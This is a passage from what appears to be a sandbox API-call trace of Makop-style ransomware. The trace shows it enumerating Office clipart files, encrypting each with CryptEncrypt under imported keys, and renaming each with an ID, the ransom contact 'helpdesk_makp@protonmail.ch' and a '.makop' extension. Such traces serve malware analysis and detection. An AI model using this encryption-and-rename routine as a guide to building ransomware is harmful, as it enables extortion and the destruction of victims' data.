param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.787] CloseHandle (hObject=0xf0) returned 1 [0124.787] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0124.787] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0124.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.788] GetProcessHeap () returned 0x48a0000 [0124.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.788] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.788] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.788] GetProcessHeap () returned 0x48a0000 [0124.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.789] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.789] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.789] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.794] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a80, lpOverlapped=0x0) returned 1 [0124.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a80, dwBufLen=0x2a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a80) returned 1 [0124.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a80, lpOverlapped=0x0) returned 1 [0124.796] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.796] SetEndOfFile (hFile=0xf0) returned 1 [0124.803] GetProcessHeap () returned 0x48a0000 [0124.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.803] GetProcessHeap () returned 0x48a0000 [0124.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.803] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.804] CloseHandle (hObject=0xf0) returned 1 [0124.805] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0124.805] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0124.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.807] GetProcessHeap () returned 0x48a0000 [0124.807] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.807] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.807] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.807] GetProcessHeap () returned 0x48a0000 [0124.808] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.808] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.808] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.808] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.813] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe70, lpOverlapped=0x0) returned 1 [0124.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70, dwBufLen=0xe70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70) returned 1 [0124.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe70, lpOverlapped=0x0) returned 1 [0124.814] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.814] SetEndOfFile (hFile=0xf0) returned 1 [0124.820] GetProcessHeap () returned 0x48a0000 [0124.820] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.820] GetProcessHeap () returned 0x48a0000 [0124.820] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.820] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.821] CloseHandle (hObject=0xf0) returned 1 [0124.821] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0124.821] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0124.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.823] GetProcessHeap () returned 0x48a0000 [0124.823] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.823] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.828] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.828] GetProcessHeap () returned 0x48a0000 [0124.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.830] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.830] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd28, lpOverlapped=0x0) returned 1 [0124.830] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30, dwBufLen=0xd30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30) returned 1 [0124.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd30, lpOverlapped=0x0) returned 1 [0124.830] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.831] SetEndOfFile (hFile=0xf0) returned 1 [0124.837] GetProcessHeap () returned 0x48a0000 [0124.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.837] GetProcessHeap () returned 0x48a0000 [0124.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.837] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.838] CloseHandle (hObject=0xf0) returned 1 [0124.839] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0124.839] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0124.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.839] GetProcessHeap () returned 0x48a0000 [0124.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.844] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.844] GetProcessHeap () returned 0x48a0000 [0124.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.844] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.845] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.846] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.846] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ab4, lpOverlapped=0x0) returned 1 [0124.847] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ac0, dwBufLen=0x2ac0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ac0) returned 1 [0124.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ac0, lpOverlapped=0x0) returned 1 [0124.848] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.848] SetEndOfFile (hFile=0xf0) returned 1 [0124.855] GetProcessHeap () returned 0x48a0000 [0124.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.855] GetProcessHeap () returned 0x48a0000 